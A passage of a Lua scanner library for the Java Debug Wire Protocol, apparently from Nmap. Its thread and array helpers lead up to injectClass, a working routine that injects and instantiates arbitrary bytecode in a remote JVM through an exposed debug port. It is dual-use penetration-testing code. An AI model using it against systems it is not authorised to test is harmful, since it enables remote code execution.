  713. --@param id Packet id.
  714. --@param threadID The ID of a thread.
  715. --@return (status, thread_name) If status is false an error string is returned, else it's nil.
  716. function suspendThread(socket,id,threadID)
  717. local params = bin.pack(">L",threadID)
  718. local command = JDWPCommandPacket:new(id,11,2,params)
  719. local status, data = executeCommand(socket,command)
  720. if not status then
  721. stdnse.print_debug(2,"JDWP suspendThread() error: %s", data)
  722. return false,data
  723. end
  724. return true, nil
  725. end
  726. --- Status Command (4)
  727. -- Returns the current status of a thread.
  728. --
  729. -- Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus).
  730. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status
  731. --
  732. --@param socket Socket to use to send the command.
  733. --@param id Packet id.
  734. --@param threadID The ID of a thread.
  735. --@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data.
  736. function threadStatus(socket,id,threadID)
  737. local params = bin.pack(">L",threadID)
  738. local command = JDWPCommandPacket:new(id,11,4,params)
  739. local status, data = executeCommand(socket,command)
  740. if not status then
  741. stdnse.print_debug(2,"JDWP threadStatus() error: %s", data)
  742. return false,data
  743. end
  744. stdnse.print_debug("threadStatus %s",stdnse.tohex(data))
  745. return true, data
  746. end
  747. --- ArrayReference Command Set (13)
  748. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference
  749. --- SetValues Command (3)
  750. -- Sets a range of array components.
  751. --
  752. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues
  753. --
  754. --@param socket Socket to use to send the command.
  755. --@param id Packet id.
  756. --@param objectID The ID of an array object.
  757. --@return (status, data) If status is false an error string is returned, else it's nil.
  758. function setArrayValues(socket,id,objectID,idx,values)
  759. local params = bin.pack(">Lii",objectID,idx,#values) .. values
  760. local command = JDWPCommandPacket:new(id,13,3,params)
  761. local status, data = executeCommand(socket,command)
  762. if not status then
  763. stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data)
  764. return false,data
  765. end
  766. return true, nil
  767. end
  768. --- EventRequest Command Set (15)
  769. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest
  770. --- Uses Set Command (1) to set singlesteping to specified thread.
  771. --
  772. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
  773. --
  774. --@param socket Socket to use to send the command.
  775. --@param id Packet id.
  776. --@param threadID The ID of the thread.
  777. --@return (status, requestID) If status is false an error string is returned, else it contains assigned request id.
  778. function setThreadSinglestep(socket,id,threadID)
  779. local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
  780. local command = JDWPCommandPacket:new(id,15,1,params)
  781. local status, data = executeCommand(socket,command)
  782. if not status then
  783. stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data)
  784. return false,data
  785. end
  786. local _, requestID = bin.unpack(">i",data)
  787. return true, requestID
  788. end
  789. --- Uses Clear Command (2) to unset singlesteping from a thread by specified event.
  790. --
  791. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear
  792. --
  793. --@param socket Socket to use to send the command.
  794. --@param id Packet id.
  795. --@param eventID The ID of the thread.
  796. --@return (status, requestID) If status is false an error string is returned, else it's nil.
  797. function clearThreadSinglestep(socket,id,eventID)
  798. local params = bin.pack(">Ci",1,eventID)
  799. local command = JDWPCommandPacket:new(id,15,2,params)
  800. local status, data = executeCommand(socket,command)
  801. if not status then
  802. stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data)
  803. return false,data
  804. end
  805. return true,nil
  806. end
  807. --- ClassObjectReference Command Set (17)
  808. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference
  809. --- ReflectedType Command (1)
  810. -- Returns the reference type reflected by this class object.
  811. --
  812. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType
  813. --
  814. --@param socket Socket to use to send the command.
  815. --@param id Packet id.
  816. --@param classObjectID The ID of the object.
  817. --@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type.
  818. function getReflectedType(socket,id,classObjectID)
  819. local _, param
  820. local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID))
  821. local status, data = executeCommand(socket,command)
  822. if not status then
  823. stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data)
  824. return false,data
  825. end
  826. local reflected_type = {
  827. refTypeTag = nil,
  828. typeID = nil
  829. }
  830. _,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data)
  831. return true, reflected_type
  832. end
  833. --- Helper function to find a method ID by its name.
  834. --
  835. -- @param socket Socket to use for communication.
  836. -- @param class ID of the class whose method we seek.
  837. -- @param methodName Name of the method.
  838. -- @param skipFirst Skip first found method.
  839. function findMethod(socket,class,methodName,skipFirst)
  840. local methodID
  841. local status, methods = getMethodsWithGeneric(socket,0,class)
  842. if not status then
  843. return false
  844. end
  845. for _, method in ipairs(methods) do -- find first constructor and first defineClass() method
  846. stdnse.print_debug(2,"Method name: %s", method.name)
  847. if methodID == nil then
  848. if string.find(method.name,methodName) then
  849. if skipFirst then
  850. skipFirst = false
  851. else
  852. methodID = method.methodID
  853. end
  854. end
  855. end
  856. end
  857. return methodID
  858. end
  859. --- Tries to inject specified bytes as a java class and create its instance.
  860. --
  861. -- Returns a table containing following fields:
  862. -- * 'id' Injected class reference ID.
  863. -- * 'instance' Inected calss' instance reference ID.
  864. -- * 'thread' Thread in which the class was injected and instantiated.
  865. --
  866. -- @param socket Socket to use for communication.
  867. -- @param class_bytes String of bytes of a java class file to inject.
  868. -- @return (status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info.
  869. function injectClass(socket,class_bytes)
  870. local classes,status
  871. -- find byte array class id needed to create new array to load our bytecode into
  872. status,classes = getAllClassesWithGeneric(socket,0)
  873. if not status then
  874. stdnse.print_debug("getAllClassesWithGeneric failed: %s", classes)
  875. return false
  876. end
  877. local byteArrayID
  878. for _,class in ipairs(classes) do
  879. if string.find(class.signature,"%[B") then
  880. byteArrayID = class.typeID
  881. break
  882. end
  883. end
  884. if byteArrayID == nil then
  885. stdnse.print_debug("finding byte arrray id failed")
  886. return false
  887. end
  888. stdnse.print_debug("Found byte[] id %d",byteArrayID)
  889. -- find SecureClassLoader id by signature
  890. status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;")
  891. if not status then
  892. return false
  893. end
  894. local secureClassLoader = classes[1].referenceTypeID
  895. stdnse.print_debug("Found SecureClassLoader id %d",secureClassLoader)
  896. -- find SecureClassLoader() constructor
  897. local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true)
  898. -- find ClassLoader id by signature
  899. status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;")
  900. if not status then
  901. return false
  902. end
  903. local classLoader = classes[1].referenceTypeID
  904. stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID)
  905. -- find ClassLoader's defineClass() method
  906. local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false)
  907. -- find ClassLoader's resolveClass() method
  908. local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false)
  909. if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then
  910. stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID))
  911. return false
  912. end
  913. -- create array to load bytecode into
  914. local arrayID
  915. status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes)
  916. if not status then
  917. stdnse.print_debug("New array failed: %s", arrayID)
  918. return false
  919. end
  920. stdnse.print_debug("Created new byte array of length %d",#class_bytes)
  921. -- set array values
  922. local temp
  923. status, temp = setArrayValues(socket,0,arrayID,0,class_bytes)
  924. if not status then
  925. stdnse.print_debug("Set values failed: %s", temp)
  926. return
  927. end
  928. stdnse.print_debug("Set array values to injected class bytes")
  929. -- get main thread id
  930. -- in order to load a new class file, thread must be suspended by an event
  931. -- so we set it to singlestep, let it run and it get suspended right away
  932. local threads
  933. status,threads = getAllThreads(socket,0)
  934. if not status then
  935. stdnse.print_debug("get threads failed: %s", threads)
  936. return false
  937. end
  938. local main_thread
  939. local eventID
  940. stdnse.print_debug("Looking for main thread...")
  941. for _,thread in ipairs(threads) do
  942. local thread_name
  943. status, thread_name = getThreadName(socket,0,thread)
  944. if not status then
  945. stdnse.print_debug("getThreadName failed: %s", thread_name)
  946. return false
  947. end
  948. if thread_name == "main" then
  949. stdnse.print_debug("Setting singlesteping to main thread.")
  950. status, eventID = setThreadSinglestep(socket,0,thread)
  951. main_thread = thread
  952. break
  953. end
  954. end
  955. if main_thread == nil then
  956. stdnse.print_debug("couldn't find main thread")
  957. return false
  958. end
  959. -- to trigger the singlestep event, VM must be resumed
  960. stdnse.print_debug("Resuming VM and waiting for single step event from main thread...")
  961. local status, _ = resumeVM(socket,0)
  962. -- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction
  963. clearThreadSinglestep(socket,0,eventID)
  964. stdnse.print_debug("Cleared singlesteping from main thread.")
  965. -- instantiate new class loader
  966. local class_loader_instance
  967. status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil)
  968. if not status then
  969. stdnse.print_debug("newClassInstance failed: %s", class_loader_instance)
  970. return false
  971. end
  972. stdnse.print_debug("Created new instance of SecureClassLoader.")
  973. local injectedClass
  974. -- invoke defineClass with byte array that contains our bytecode
  975. local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502
  976. stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...")
  977. status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs)
  978. if not status then
  979. stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass)
  980. end
  981. -- resolve (Java's way of saying link) loaded class
  982. status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag
  983. if not status then
  984. stdnse.print_debug("invokeObjectMethod failed:")
  985. end
  986. -- extract the injected class' ID
  987. local tag,injectedClassID
  988. _,tag,injectedClassID = bin.unpack(">CL",injectedClass)
  989. -- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it
  990. -- and for that we need its runtime_type which is Class
  991. local runtime_type
  992. status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class
  993. -- find the getMethods() id
  994. local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false)
  995. status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil)
  996. stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID)
  997. local sig, reflected_type
  998. status, sig = getSignatureWithGeneric(socket,0,injectedClassID)
  999. stdnse.print_debug("Injected class signature: %s", sig)
  1000. status, reflected_type = getReflectedType(socket,0,injectedClassID)
  1001. -- find injected class constructor
  1002. local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false)
  1003. if injectedConstructor == nil then
  1004. stdnse.print_debug("Couldn't find either evil method or constructor")
  1005. return false
  1006. end
  1007. -- instantiate our evil class
  1008. local injectedClassInstance
  1009. status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil)
  1010. if not status then
  1011. return false, injectedClassInstance
  1012. end
  1013. local injected_class = {
  1014. id = injectedClassID,
  1015. instance = injectedClassInstance,
  1016. thread = main_thread
  1017. }
  1018. return true, injected_class
  1019. end
  1020. return _ENV;